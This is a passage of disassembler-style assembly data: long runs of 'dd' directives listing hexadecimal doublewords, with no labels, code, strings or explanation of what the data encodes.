		dd 2641DC40h, 19B7037Dh, 9573FCDFh, 0E93802Dh, 0A0E4EEC8h
		dd 7B82597Fh, 2A3F2C4Fh, 2550060h, 0C7BF7A0Bh, 22084C07h
		dd 46410359h, 0A4E04E1Bh, 0DDEF0E82h, 5120F4A6h, 0F6E46D62h
		dd 9F2B8A07h, 0C13F803Dh
		dd 0ED54A374h, 211F9428h, 0B6A70009h, 0DFBCD10Ah, 0F37B0E00h
		dd 96E00507h, 77FB0006h, 0D27D4D82h, 0AB01506Bh, 0D917A2C3h
		dd 41E926E3h, 2FEB1820h, 92F67521h, 72001029h, 0FF046F27h
		dd 53870088h, 172AC2D4h, 90042D1h, 0BF95507h, 0E0A4A96Dh
		dd 0ACB10091h, 2DD25F58h, 0EF61A2F5h, 6B7F3F8h,	3F98A8FCh
		dd 6A8053E7h, 23B6E5CBh, 42002235h, 8A070FA4h, 0C4413h
		dd 87F03FCEh, 5058E24Ah, 74FEA900h, 9F19CDB4h, 6AF1C5Dh
		dd 0D5A40C9h, 0CE02713h, 0DE59C800h, 12443AE3h,	0F5BC0262h
		dd 0C5487093h, 33DAA480h, 3E00804Eh, 0CB87A67Ah, 2B6729h
		dd 0E2F6A58Dh, 0AF7DEA85h, 0D9000F90h, 0E9A22231h, 8A3253h
		dd 1AC4BB5Eh, 9DFACF89h, 8D002DF6h, 6DB42143h, 0B6A0644h
		dd 6BD3112Eh, 89ADB180h, 0B000438Ch, 39F3E45h, 7EF7949h
		dd 0AFB12BCh, 0DF817007h, 0FE03947Ah, 0A5A72A2Fh, 0D415804Eh
		dd 46973091h, 7CC518F6h, 210EE300h, 336514CAh, 0C7698A0h
		dd 0BCD02431h, 494818ACh, 0EF4C2CAAh, 28D8003Eh, 51EA6888h
		dd 9579014Ah, 1F1A1229h, 818450C0h, 0B07E690Dh,	60C8376Eh
		dd 82EB2EFFh, 8F633D6Eh, 9F973D80h, 0B4F5799h, 982DF4A0h
		dd 0E50E1FE0h, 0A0F2E904h, 129994FBh, 0F1DC3011h, 0D57B7110h
		dd 9C5D4D07h, 0B5D792C7h, 0F6AC9DC0h, 50BF0056h, 401563EAh
		dd 0E17C48A9h, 0E7710700h, 4338032Ch, 855A0356h, 9EFF9FD8h
		dd 0E9897BC0h, 0A286CD03h, 0C07CD004h, 98A7169h, 22E62C10h
		dd 72384001h, 0AEF6F0ADh, 0D5DE0503h, 0C8FC1275h, 7F07B9h
		dd 1FB9166h, 9F819AF6h,	0EA309E28h, 123AA200h, 0EDC87C8Fh
		dd 0FB4C0320h, 5515D3F4h, 0E6515290h, 7126E39h,	6C718BD8h
		dd 0B08AC140h, 0F8D1181Eh, 69A82839h, 0D2040F05h, 1BE0E9A1h
		dd 47C71437h, 650084C2h, 0F3844E91h, 85006E26h,	0AA51217Bh
		dd 0C7B339h, 68059010h,	0E96C963Dh, 315EAE03h, 9058C187h
		dd 7ACB9AB1h, 1A3314F3h, 0A800949Fh, 9E0F9D8Dh,	9100154Ah
		dd 80EA8F5Dh, 0FCF1771h, 0D84A7D6h, 0F4AAA840h,	99048C39h
		dd 66E9DB52h, 5BD7FA30h, 3B17A38h, 0A8CCD044h, 4677E017h
		dd 7C9900EFh, 0A045799Ah, 0BA007213h, 24B47383h, 3EBDF636h
		dd 0CCBA5BADh, 96076D00h, 3EBA441Ah, 80700938h,	99AA93EEh
		dd 0E0E110h, 8EF968BDh,	0DDAE0AADh, 0BC96BB00h,	673E3349h
		dd 0EB5100DEh, 350B2D23h, 5E048F40h, 0F95BB1CAh, 66459480h
		dd 0B46D0015h, 9C621B49h, 992C93D1h, 7E031AB9h,	0A80B3890h
		dd 0EE8440AFh, 0A1E91D16h, 0BB00FA8Fh, 0A73EF881h, 0F4072A85h
		dd 139D84B5h, 18510863h, 8161861h, 4BEA7855h, 1E12891Dh
		dd 0E505D06h, 0E0D3F118h, 0E62913A4h, 31F86114h, 0D32B217Ah
		dd 51A64801h, 61AB5F65h, 0FA5BD0h, 6D2E929Ah, 0C80A6618h
		dd 1AF67307h, 0F850112Bh, 957AF9h, 0A1550616h, 2414AB5Bh
		dd 18048300h, 29AC0AFAh, 268A1476h, 24005031h, 4FAF9C5Ah
		dd 4E037D62h, 51468773h, 3D61D81Fh, 2A57077Bh, 70709278h
		dd 0B8775EA2h, 8D97BC06h, 5848C7h, 1638DA07h, 5F7631A6h
		dd 221D3Ah, 0F709A1B2h,	0A79005h, 1CE89704h, 145A577Eh
		dd 6B634801h, 0AE7636A5h, 3AC99CE8h, 9500F61Eh,	41473559h
		dd 0C5003466h, 0B972A7D3h, 2C3A2E40h, 951076B5h, 0CF8040Ah
		dd 0BCC1A960h, 0B027BFE7h, 878B2EE7h, 260200A4h, 443177A2h
		dd 8107DC7Ch, 3C591097h, 7CFB8C7h, 61CFF1B5h, 3C91B12h
		dd 0D4A02C40h, 28CB32B0h, 3FE3F350h, 90545106h,	1529EE89h
		dd 8085C11Eh, 3BE51400h, 180FB335h, 8A59471Fh, 7E4BEE40h
		dd 0E1773E23h, 28D2619Eh, 0D1976060h, 47213A4Ah, 618D19C0h
		dd 29DD50Eh, 990FB130h,	7090E8EEh, 40807CECh, 0A3440068h
		dd 0A2DA0139h, 0E8C48F09h, 4F1E566Eh, 0ED8066B8h, 323AF3F7h
		dd 25969111h, 0B515F205h, 0A24C6009h, 100133A8h, 67FA570Ch
		dd 0A9BA5688h, 521DC88h, 10FEA080h, 8037C6E5h, 246FD0ACh
		dd 591A0D39h, 739260h, 201E7B9Ah, 0B052323Fh, 499B0D00h
		dd 82B5A076h, 0A94702CBh, 0ACD114A3h, 0C1ACE063h, 8B0868C2h
		dd 206DDC78h, 0DF1FF838h, 0EDD300D9h, 4340705Ch, 150081A0h
		dd 0C2CDE7B1h, 303E9F62h, 5F81657Bh, 0AD00A28Ch, 41451D50h
		dd 7901FFC0h, 80710035h, 5EDD3C7Ah, 8C078289h, 885CAED4h
		dd 66F3A940h, 1C1F3BE5h, 0A2803C4Ch, 6CEC8DA4h,	9B46E100h
		dd 0EBF4AC92h, 7913021Fh, 0D9147782h, 8C31808Ch, 4B008AB8h
		dd 84325633h, 5BAB4D4h,	219B668h, 5CA44054h, 0F3162196h
		dd 0CD8D3D00h, 0C0C90B82h, 330C0135h, 0DCD49017h, 33988AEh
		dd 6788832Fh, 0A793319Eh, 5ADE7480h, 849C7D38h,	24021C72h
		dd 1D893C80h, 609EEFh, 9C2E6799h, 8C46C26h, 0BF6DAEh, 73C244D6h
		dd 19C08A85h, 8F629167h, 0CC0500C0h, 3693BAF1h,	9E03DC73h
		dd 4EA82889h, 0E75EE075h, 3F8C724h, 43DF80FEh, 8E0018F7h
		dd 9001DC8Dh, 0A8AB36Eh, 0AF4CDD56h, 668F03E6h,	830B40Eh
		dd 87D1215Dh, 2367B4Ch,	0AD12E79Ch, 0A2407FA0h,	0CB00246Eh
		dd 0E6D2563Fh, 12F47304h, 16D566h, 0C81C6854h, 0EA006278h
		dd 19FCBC7Ah, 3D9682DBh, 75B00C3Eh, 4CF26360h, 8E9B9A00h
		dd 0EFD90B7Bh, 0A0D20615h, 188D790Ch, 207689C7h, 72251141h
		dd 0D08311BEh, 37C096A6h, 0EFF37990h, 9D60C574h, 0A4D88921h
		dd 59160088h, 0F3BB15ACh, 0C0338697h, 4C1ADh, 50DE7C08h
		dd 8B254626h, 8CABC618h, 0FA129321h, 200A0698h,	9327259h
		dd 0F3219660h, 5C5039h,	45BF901Fh, 81C73456h, 27ABD10Ch
		dd 988958h, 0E5113CC8h,	0B7029AA8h, 75FF56C3h, 1CFCB827h
		dd 8C8450BAh, 88644408h, 0D27A0912h, 84CCEC0Ah,	3C4680A0h
		dd 99A4D501h, 0CC5BFC0h, 0BD888890h, 29C6A400h,	2C0CEA53h
		dd 0F2240AB5h, 3289478h, 87F8DC89h, 73CD1000h, 0C4CA7B9Fh
		dd 83BB00C6h, 0A4664856h, 5E00A7EFh, 75C94205h,	3E274F3h
		dd 0A9712873h, 0D0E3A22Ch, 602ECAE0h, 0BB2F1F01h, 3D4FBB2h
		dd 3095CECh, 28FF220Bh,	98074259h, 300ADD83h, 9F78071h
		dd 0BF085980h, 5960254Fh, 9358BFh, 3376BADBh, 0F0D6E942h
		dd 73159B00h, 5B29CB8Ch, 4630009h, 13CE1848h, 6D0061F3h
		dd 0D55099DAh, 1F1B674Bh, 3F5A5FBh, 75E37438h, 33871811h
		dd 2915790Fh, 0C9DBFF27h, 0E818638Ch, 31888A64h, 1878001Ch
		dd 8CA9D7D5h, 5D805301h, 7940BD09h, 602FC7D8h, 8B4A281Ah
		dd 0CD06D5CAh, 94BF018Eh, 0A7220CB9h, 60F852B0h, 80E8476Fh
		dd 38372C6h, 9A3A12ECh,	918000BCh, 0D80D50F1h, 26FBED01h
		dd 0F6E1318Dh, 0CBD4CAF5h, 80C50776h, 60B84952h, 0F9810EA5h
		dd 0B937E519h, 44A3810h, 0B6F2C8E0h, 51AE10C0h,	20DC544h
		dd 1908B5ECh, 7BD0DE5Eh, 7DC83F01h, 0AEEE7592h,	0C8BE51F4h
		dd 0D4421128h, 219124C4h, 518848E3h, 0C68F0BADh, 2511D066h
		dd 4D631993h, 0AC08A929h, 0B7D96144h, 0E907E4F8h, 481D4E31h
		dd 54DF47D0h, 0A56E01D3h, 0E1B8F87Fh, 992DC71h,	61E6D700h
		dd 15CAC359h, 0ABB00076h, 0A3C4251Fh, 7103365Fh, 227B636Ah
		dd 0AD0AD058h, 0DCB507FDh, 50074D1Fh, 0F99FA286h, 0AA22A300h
		dd 3FE0C948h, 0EBF5097Dh, 0A980C309h, 0A7368A99h, 19789F0Ch
		dd 7377CC32h, 1E4EEAEh,	92BFE6F6h, 819CFEDEh, 27060118h
		dd 2430D5E3h, 70EE0079h, 5A1EC57h, 8172B9C4h, 0CF375000h
		dd 3A28B1D2h
		dd 1FA298CCh, 87340DBAh, 91AAD35Ah, 0F8DDA122h,	1A013EE0h
		dd 5F1C0BA6h, 108E0667h, 81A0B409h, 7B0791FAh, 0BC05CFB0h
		dd 613A2F21h, 0F8B15180h, 3C5D00BFh, 85877CB8h,	13012B23h
		dd 0FFEC71F5h, 9D4A5E3h, 0A4C3001Fh, 0B02C1D6h,	22005C8Ah
		dd 6BD7909Ah, 0EC455Eh,	0CE5BF6BFh, 692410B5h, 11AA6E00h
		dd 125AF0BAh, 7E0478DDh, 2BAE0FE1h, 0FC0F6DBh, 9D5F20F2h
		dd 8F19EB02h, 80350352h, 5BFEABADh, 0B1FE0D9h, 685ED823h
		dd 8297B00h, 0E0748512h, 47B2660Fh, 0C84FC013h,	0EFA7DEh
		dd 0F29DF501h, 0E9273917h, 74A2800Ah, 5C00A0A3h, 0F44B93C6h
		dd 0AA7100B8h, 0B46BC2F2h, 2900922Ch, 351BB0DAh, 5DD70Eh
		dd 4522F151h, 0DC194FE5h, 16F7720Bh, 0C6D380B1h, 880F41h
		dd 4B23EF3Dh, 0D50E335Fh, 0C0020606h, 526944DCh, 0F000D817h
		dd 0EE050F9Fh, 1D007759h, 37A3F5D1h, 705C9C2Ah,	0F04400BFh
		dd 0B70C1A31h, 0D83CB17Eh, 0A30980D2h, 5B9969DFh, 0E5B50070h
		dd 0C8E06440h, 0C70A229Dh, 0B90451C0h, 38A4DE00h, 30EDAE2Dh
		dd 61F04BD0h, 2FB0535Dh, 63DDB000h, 98E9CDE5h, 4A560036h
		dd 38C120B1h, 2E011348h, 490688B8h, 9880C93Dh, 5CA032CCh
		dd 5300902Fh, 0BA395E84h, 50BB77D9h, 0CCF016h, 7514839Eh
		dd 4F973E1h, 0D6472800h, 0A0A8B90Fh, 0FB1A049Fh, 80FA0DECh
		dd 0CF24E878h, 18C3F600h, 6EBEF414h, 5C6600E2h,	92DE553Eh
		dd 0FD00C9A2h, 0C17B5BF9h, 5D6AEDh, 5AFE4679h, 0EB93FF8Ah
		dd 17A8F0A3h, 39264CF7h, 270054ECh, 0DB6CF86Fh,	8F8C04Ah
		dd 0E0479FBAh, 382C5Ch,	0E254361Eh, 0C58618h, 328FCCF5h
		dd 0CD09D7BAh, 390E1C00h, 0A0FE3A71h, 0F2B3007Eh, 62E26DB5h
		dd 7B399605h, 37F454A9h, 0B6984201h, 0E5326D3Fh, 706E8440h
		dd 0BC930019h, 0E43C91F6h, 0C6032CCEh, 0AF3A48FDh, 76DAF1F5h
		dd 3080FFCDh, 909B53C7h, 0F3007AEFh, 0D3C260E0h, 0F6D49D74h
		dd 211206B1h, 523F9992h, 38AC2E26h, 68958h, 0FDF4A38Eh
		dd 7E911C2Fh, 262B3400h, 7BB96B0Eh, 0FA860042h,	0EC1E81C8h
		dd 0F9074C4Fh, 9FA13B6Eh, 80080E69h, 2BCC4457h,	5AE00080h
		dd 8EF3CE70h, 2233343Fh, 0B01F401Dh, 0E65B5158h, 20CA0070h
		dd 321A3606h, 0DA00486Ah, 0EA0A6356h, 0EFABC40h, 901C8DC5h
		dd 55597DA0h, 3000B8DBh, 3E68F94h, 45D0E5h, 2C67A623h
		dd 0D8B5C7E2h, 0E9D26B00h, 0AE8EC40h, 3EBF0089h, 0F0188D97h
		dd 452E1AC2h, 5F07CB85h, 0E360D4BAh, 54D35CBh, 7654EBB5h
		dd 0CCAE00C2h, 0F4749569h, 5E794403h, 0A85B9406h, 57C749h
		dd 0E336418Fh, 0AADE2537h, 84933400h, 31A46829h, 0AFE1017Dh
		dd 0FB54DD0Fh, 3100C788h, 0FD81DE22h, 60433F15h, 3D7FA09Ch
		dd 0BC1817D9h, 70122D49h, 0BA5E1D59h, 2E9B00E7h, 0B544B78Eh
		dd 0D652A500h, 5672DB9Ch, 0CB850070h, 0EF4D1305h, 0E500EB8Bh
		dd 0DAE3CC07h, 0B5349Bh, 0A606F031h, 2BD0CF79h,	0E98BB107h
		dd 0FAC06EB2h, 0C063F89Ah, 24C5A910h, 0DA0060BBh, 0B1874703h
		dd 1D6714Eh, 9F98559Eh,	204DC732h, 0B4016384h, 62BA1AD2h
		dd 0BE30D3CAh, 0D8E90324h, 0F598EE1Eh, 583C56D8h, 916B312h
		dd 81AA6000h, 16748B2h,	0D2630494h, 0D8EAEE85h,	0D780909Ch
		dd 0B3530003h, 198189F5h, 0CA265137h, 9C00E4B5h, 97FF36D4h
		dd 52010016h, 0EE67FC10h, 0CFF837E8h, 3BF04706h, 0A0483Dh
		dd 635AE24h, 13E3801Ch,	0D8ABB00h, 11DAD1BDh, 43D800A1h
		dd 0B563B61Eh, 6A00AE78h, 5D06059Dh, 26F69914h,	23093Eh
		dd 17645921h, 910187F2h, 71CB5F4Ah, 0C1F03C8Ch,	4CF80CF1h
		dd 0ADE0BD15h, 0A4547A01h, 0FC14D3E6h, 3EB8FC80h, 0F2931538h
		dd 0D9992200h, 0AC502AAh, 32131E1Eh, 1AF002D1h,	0DEC1277Fh
		dd 0EAB5F018h, 0AFC87C07h, 1CE04B8Eh, 90DB0BC0h, 9A451D94h
		dd 67EE41D7h, 30228A46h, 0E200F135h, 3823F591h,	741346Ch
		dd 6EA671B0h, 8745B2D0h, 69687740h, 794B6101h, 2C5950ACh
		dd 197C20h, 0B258D03Dh,	0C8A4FC2Eh, 0A1BD1B00h,	0DC246E3h
		dd 888B0730h, 80A3D61Eh, 18324A05h, 0F4B65700h,	3569A84h
		dd 59B900C9h, 2C1AEDC0h, 2000A969h, 0D8379D40h,	0C6285Bh
		dd 821478EFh, 0E86648C3h, 381DBD76h, 224455F2h,	40C087FFh
		dd 3E58D0Dh, 0F071D317h, 62C03663h, 61003CE7h, 0E6B5F7B1h
		dd 7D04B8h, 1B171A60h, 8B1E80DEh, 311CD800h, 0E0E7CD3Ah
		dd 0C553023Ch, 0CE0D4F26h, 1D10E160h, 809B7B39h, 0B3DD5485h
		dd 0C47F14h, 49CFF6Dh, 0DB774033h, 0AF41E003h, 0E029F086h
		dd 0FEEFE250h, 40430F06h, 59A29E1Fh, 4F607413h,	3F006CBCh
		dd 7742AC5Dh, 0FC2CC9h,	4FCE285Ah, 0E549D87Dh, 0FDA70200h
		dd 240F6D8Eh, 0D6FE0053h, 0BC464C77h, 0A200E4E3h, 0F7ECEDF4h
		dd 0D4E23Eh, 57B7C5F1h,	69DB1DE8h, 0BFB65501h, 95508AEFh
		dd 0F2E043C5h, 0EE0100D4h, 6225591Fh, 0A7000703h, 9D507DCAh
		dd 98A9BFD6h, 0FBD100ECh, 8DFA98CBh, 92006C15h,	43B160EBh
		dd 7CB5F3h, 6E231A52h, 0A48A365Ch, 0E1A66A07h, 68F00EB0h
		dd 0C67D0Bh, 5C2C89AEh,	0A4FD51E8h, 0A0E1DC0Fh,	0F04960CEh
		dd 1418747Eh, 0A4544A2Bh, 0AC526008h, 0E07CFC00h, 0E666AA05h
		dd 9582006Bh, 9EA017E1h, 0F2018ED1h, 0E0E39AB7h, 0E860BE33h
		dd 0C91C01CCh, 0A8809EE2h, 0F8D46043h, 0F00837Bh, 0D32DA503h
		dd 2457948Ah, 806C5AD0h, 6D1C0D73h, 0C40198C7h,	0D1F2FF86h
		dd 0EBC012FDh, 528E001Bh, 732806D7h, 9F1E5EA8h,	0D201AC20h
		dd 0E7B5D4A6h, 7F3E20h,	2C3D11D9h, 41849DEEh, 2E613900h
		dd 594DDB72h, 7FC0B2BDh, 0B0A500ADh, 0D362D0D8h, 2F0C2CC8h
		dd 20BF5386h, 5850008Fh, 0D89FF8F9h, 9C017BAAh,	3B935F3Ah
		dd 0E020E96Eh, 342103A0h, 0BD97D28Dh, 60E08EEAh, 0CB01FFC2h
		dd 268C6FD8h, 0E8649549h, 4DFB0030h, 5F769A7Dh,	0D306376Dh
		dd 48BB4E42h, 0B0811DA2h, 875CD5h, 3EEAAA09h, 8D71461Ah
		dd 1C176E01h, 26D2CAFAh, 392FE4h, 2A0C4A98h, 0D98BE948h
		dd 9F09300h, 8276FD28h,	31D104FEh, 87487166h, 0F302C014h
		dd 1D0068BBh, 0AF188CEDh, 0A1F317Eh, 0DBD42DBAh, 295818Ch
		dd 2C9CF745h, 6E61011Ch, 809ACF3h, 0DF28F500h, 2DB43900h
		dd 2C043C36h, 0BA60C461h, 0BA4C006h, 0E9004E7Ah, 0E1E48D2Dh
		dd 3F48FFFDh, 7C00A719h, 926AA6B2h, 0C8501D3Eh,	2B05F8Ch
		dd 86E684FAh, 68F22D14h, 0FA1F00A9h, 5839EAE8h,	1F3E8F5h
		dd 43FEE7E1h, 304C5005h, 55585BBBh, 0DE580C90h,	721C02Eh
		dd 167AD1AFh, 4700BBFDh, 0EF013B6Dh, 0E5653F00h, 28C23A99h
		dd 0C0E25C0Bh, 83F9C700h, 9B10B453h, 13794000h,	54C5EBF1h
		dd 0C3AA0BCFh, 94267363h, 581E9920h, 169395C4h,	801E4820h
		dd 870400ACh, 0D1BB12CAh, 8600EC3Ah, 2D23E181h,	33B7668h
		dd 0B36D3D8Bh, 1CDA4DFAh, 607C18E1h, 0DF127F44h, 0CC839A7h
		dd 0E8090260h, 0FC504C46h, 1C899480h, 8700E370h, 0D4D02D92h
		dd 7DE8B6h, 86BDC8ADh, 53FD5BF9h, 9307C00h, 0E3739869h
		dd 62DA00A5h, 99C17160h, 0E800269Bh, 98E9CEDDh,	4D51901h
		dd 399E4F30h, 0C9FB8032h, 430113EBh, 5433F8D3h,	0CC300D0Ch
		dd 7D2E032Fh, 92AB96D0h, 16AC48E0h, 73579B00h, 0B5B034D2h
		dd 3510007Fh, 0D62EE397h, 1E0736A4h, 7E2464A3h,	0E67A19F0h
		dd 0D11D00D9h, 33B2B6F8h, 0FC722601h, 41325400h, 537CA151h
		dd 0E7653E94h, 4005AB8h
		dd 0F7C01413h, 25001943h, 0CF6712B6h, 0E8B906h,	0B1ECD730h
		dd 2E11C57Bh, 2FE66D00h, 9FFDA383h, 99AF0FE7h, 0E8C060AEh
		dd 0B988A7C1h, 51EC5400h, 0E0D4CD6Fh, 84C90235h, 86716248h
		dd 0E6426A60h, 5A887E00h, 0DF45AB5Eh, 4F7C0115h, 5DE4B3E0h
		dd 0A4E88036h, 0BA61A90Fh, 62831C78h, 7A003EA6h, 0E1D0BBF4h
		dd 6C00B232h, 0DBAF888Fh, 1E8C33h, 201DF006h, 0A9C2EEC9h
		dd 75233F00h, 5BDA32E8h, 0B9F6000Bh, 2A30EB17h,	6550A968h
		dd 0D1001998h, 6B01CFCDh, 3BAE4Fh, 4B7693A0h, 0E0BC67DEh
		dd 0B9700B76h, 255E7800h, 3AC0F9CEh, 0FC427D31h, 402B00B1h
		dd 0DCB07916h, 3000071Bh, 73978E38h, 1C50936Fh,	40BC86B3h
		dd 24AFCFD7h, 25185F6Dh, 264938BAh, 0D63006Fh, 84C2C485h
		dd 0FB00DC14h, 0E106F48Fh, 1CF6A8D5h, 0C02065C0h, 0AB973E8Ah
		dd 5C000232h, 0EA9AFB5Dh, 80079Dh, 2C8DC92Dh, 0E3949333h
		dd 64008090h, 34AA789Ch, 49FBDFh, 0AC2F9001h, 0A0CA86B2h
		dd 48645A00h, 0D82D63E2h, 0A397016Bh, 30C2399Ah, 2955CC7Eh
		dd 25B2A007h, 0B7B0927Ah, 7FCBA1h, 63FBFA6Eh, 4693411Ch
		dd 11916600h, 0F3C64D96h, 383EF4B9h, 0A88009D2h, 0F5662DD0h
		dd 4A008D7Eh, 0BCCF7DEEh, 21DAC0h, 6522C21Fh, 0CD977509h
		dd 3A8A2300h, 0A10EE83h, 5F4E00D1h, 629E9F41h, 8D0167B2h
		dd 0B0C1F2D7h, 0CCCCEA6Ch, 0C0470F36h, 0AFAFF57Dh, 51D5FB60h
		dd 4F00D91Ah, 0EC08A737h, 0B7B973h, 0F15A7E19h,	1DCA4C2Ch
		dd 13B54800h, 0AEC48F0Fh, 0CBE1C81h, 0FB064071h, 0E4F33ABh
		dd 36738E00h, 0D19F9267h, 43871FADh, 57C9C0EFh,	516D7A10h
		dd 48745400h, 0F3DABEB3h, 0C22E956h, 51AB4300h,	19EEB9F5h
		dd 0DAEF8700h, 0AAE5541Eh, 71B31E76h, 6D80B973h, 865DCBCh
		dd 81004AE2h, 0AE78970h, 24E53D2Eh, 1461BAh, 0A88C2047h
		dd 605CEDEh, 0B81B5597h, 0A277D400h, 0DAF4B1h, 1F8AFC70h
		dd 0DC37EB31h, 5FEE6B00h, 36F1B80h, 4F99718Dh, 66EDA0BFh
		dd 0F152E400h, 72FC247Dh, 307A903Ch, 56302CB0h,	0D0CFDF7Eh
		dd 0B95DA0BBh, 7C57AA8h, 0C084116Bh, 0A3CF3199h, 0D4A37129h
		dd 1307FE5Ah, 0D05D980Eh, 0B215BDB0h, 1A1200F7h, 0F3A1CC34h
		dd 9F2458C7h, 37008835h, 0AD1C3294h, 0B03100E8h, 78A0A295h
		dd 0BA00DCE7h, 7A4F64EBh, 74BF1Bh, 6A06A426h, 1F62D775h
		dd 97618D04h, 0B2810E5Dh, 905077E2h, 607B68h, 0B66D1753h
		dd 0C9DEA5A1h, 2E8FF905h, 7BBCF8BEh, 0BB5B007Bh, 840F404Ah
		dd 4395F35h, 0EB5801F9h, 5BFFD9CDh, 4AAD20h, 0FDC92E07h
		dd 0B58413B9h, 81646F00h, 0ADB2CF76h, 5955008Ah, 0DF78C7A6h
		dd 0B7012219h, 642B9B06h, 65C4C9B6h, 0DE2D014Fh, 0C496F809h
		dd 20E05745h, 0B77907Bh, 4C93Ch, 7E2ECE20h, 0F80E69B4h
		dd 1BC21D4Ah, 0DA304094h, 34A1FF42h, 0D1304EEAh, 736790CBh
		dd 15C00093h, 0C54BB720h, 0B1057568h, 0CD628BF7h, 0FD4CEB01h
		dd 48DC5E55h, 0D20C1EFEh, 0B43289E4h, 16B57400h, 0E601846Dh
		dd 0EAA21745h, 91DFF258h, 343062E8h, 0EEE10098h, 49034ADAh
		dd 0D001F10Eh, 133B3F2Ah, 1020570Ch, 0DEB20037h, 0C7E949FDh
		dd 30070FF6h, 3ED6FC25h, 0B9941DE0h, 61E400A6h,	45DE2EF4h
		dd 0C6007442h, 8676CF69h, 0FD9BFE4Ch, 54EC8230h, 771E4BBh
		dd 671B41ADh, 0B35D00AEh, 1190ACE1h, 74850801h,	0BCA08E6Bh
		dd 0CE4C24h, 332BFC04h,	1AE54629h, 38A80B34h, 11779090h
		dd 0E04E0CAEh, 0C0603801h, 5956D313h, 0B4C8C040h, 3D5AB9Eh
		dd 0B2D7B114h, 0D6E13B83h, 0B8C0F35Ch, 10CC3D15h, 8E1200Ch
		dd 0D4386C39h, 8087B40Eh, 3CC95D4Eh, 477432D6h,	51E01759h
		dd 1D3CA603h, 3CB30046h, 76DF9251h, 0BDB00053h,	19A92E58h
		dd 431DAE71h, 4F0E10E2h, 684355Ch, 0C833FD3Bh, 0D3AB3168h
		dd 20D5A908h, 34A079CAh, 3E66F6DEh, 48B9D9h, 0A202CC84h
		dd 8564C163h, 14817100h, 42B588EDh, 5557003Bh, 77601073h
		dd 7503A01Fh, 151246E4h, 17A790B3h, 7FD78F2h, 0D886E3D5h
		dd 0ED4920B5h, 0E40084F7h, 4FD3B6EFh, 796A8D7h,	0C27FC8A0h
		dd 531CF002h, 6B036942h, 0BA79B38h, 0BAD5F017h,	0C8E4000Ch
		dd 993D66B6h, 6D0005F8h, 0C2AE26FEh, 0FB23C5h, 374A0D85h
		dd 0D01814DAh, 262A6B15h, 57A51DB4h, 0D3DF361Ch, 62AA540Ch
		dd 942F5460h, 0B0D800C0h, 7873163Ch, 0B41E7DC2h, 4DC14256h
		dd 0AC864730h, 0BA18B12Fh, 0B7970138h, 3979FCBEh, 0FF3A4180h
		dd 34750A46h, 641111C0h, 50B77DFBh, 63AFDCE9h, 46CD0807h
		dd 0ECF72000h, 23031FFBh, 0E0267770h, 0B2C1009Bh, 38734AEEh
		dd 4830C0B5h, 0E7313158h, 9315007Eh, 33B0CCD5h,	0B1741CDEh
		dd 921AF60h, 0EA1686h, 0C50DDAE7h, 0EB6A2DF5h, 51573506h
		dd 295AB3h, 46F1AB44h, 628F5FF6h, 0B1C8FB61h, 0F083193Fh
		dd 0DD062D10h, 6FAD3800h, 0EE0F4C34h, 88BA03F1h, 4E62CFFEh
		dd 0D78464E8h, 0FF1CE000h, 83C88F05h, 1D0700BEh, 76467D47h
		dd 26000C55h, 9B1E6BA1h, 51B1F8h, 0A83DECD8h, 0C9727592h
		dd 5E417F00h, 0F49E82D6h, 224F005Dh, 5531660Fh,	4303D9F5h
		dd 0B233261h, 84C1C00Ah, 7E2200C9h, 11819DC4h, 0F4004A70h
		dd 0B5FEB2D0h, 0C0F753C1h, 5CAF3680h, 5A00D17Eh, 2B9D3E9Fh
		dd 1FDD3D24h, 0BC0CAE46h, 79121980h, 0BFB79128h, 730F977Ch
		dd 0C038B4FEh, 9E176859h, 0DF5E005Ch, 2F674223h, 7400419Ah
		dd 0E3C60C14h, 0EEB868h, 0A17CC5D9h, 0EB6C8877h, 0F238C00h
		dd 0FEC87138h, 0BD6300FDh, 24397CD8h, 0C9005B40h, 0C4A63D85h
		dd 1E93488h, 0BDF03EE1h, 70D7B378h, 0F0792C2h, 531D036h
		dd 0CB01CFE0h, 2F3D002Dh, 586B4BA6h, 0B3031DC9h, 0F8DCC868h
		dd 1430B04Fh, 0C8151E3h, 31D1040Ch, 0A51095C3h,	1CD8D893h
		dd 8EEDBE0h, 7FF0B300h,	0D16D03CEh, 866839FCh, 0D965A40Ch
		dd 0F384CF29h, 66E022CAh, 27AC0F22h, 22887853h,	673488F1h
		dd 90A26388h, 0F4CB8487h, 828384Ah, 8B90A513h, 4AD7E984h
		dd 6408142Ch, 0A63F88AEh, 5088E090h, 27943642h,	0E7887843h
		dd 9F6490D9h, 3721AA51h, 90C50308h, 93048468h, 379FB4Ch
		dd 96761D01h, 653B2E4Bh, 0C8A4D8h, 98B163EFh, 2D8CB279h
		dd 4E3C8F00h, 6FE011Bh,	5937B47h, 0B0643D9Ah, 1DD280E6h
		dd 0A4079561h, 8482B7E4h, 1B5A5DC0h, 23A90096h,	4291AE9Dh
		dd 0E9007CCAh, 765F078Ch, 0DDBC7Fh, 45A55A25h, 0B0F662A4h
		dd 0DB0CA277h, 1078FD8Ch, 20BB0015h, 41BE8A02h,	81124287h
		dd 245E970Fh, 3A7C94C1h, 7EF8AC37h, 665307D3h, 40D4E010h
		dd 0B83B0CC8h, 98496F00h, 95507274h, 713D00C3h,	11AAEBC6h
		dd 40000313h, 0C9F1C194h, 761DE601h, 23FD30F6h,	0B8AF9F21h
		dd 0F5570902h, 40738356h, 1B813BF6h, 88CB3F4Bh,	0D57E4E00h
		dd 0E065A272h, 59030020h, 0B8A1D88Fh, 8C00AED6h, 7734CF6Dh
		dd 7BFB5CCEh, 4A7D7Fh, 0E1A68BB3h, 0FFC4D098h, 0B2284200h
		dd 0E49E460Fh, 7CA7A027h, 23EA05AFh, 0ED1616Ah,	704604AFh
		dd 7607E043h, 26A4731Eh, 16CDD8F0h, 0CAD300D5h,	9645C297h
		dd 4F00ABC3h, 3FB26259h, 0E92C51h, 0E892F7E7h, 2AC38ABAh
		dd 53DE9C03h, 0A024A6C2h, 1D78F45Ch, 1D3A517Fh,	0BA5080F0h
		dd 6C5B671Ch, 91EFE00h,	0CD4E945Ch, 0E9F10215h,	51641337h
		dd 0A6ECD440h, 0AB000477h, 9D0F2BEFh, 3B697CFDh, 1B8713C3h
		dd 0F049D7B8h, 59B71C67h
		dd 1500DFF0h, 4F724C99h, 0F61EDBh, 48DE0E2Bh, 797FD221h
		dd 0E450E900h, 0B49278C0h, 0A5C3070Fh, 50B8635Dh, 0AF827F64h
		dd 68B7B102h, 480584CDh, 9089923Ch, 78A80310h, 470352Ch
		dd 2044AFA0h, 0E84EF500h, 3A72096Eh, 0C65D00F8h, 800B0457h
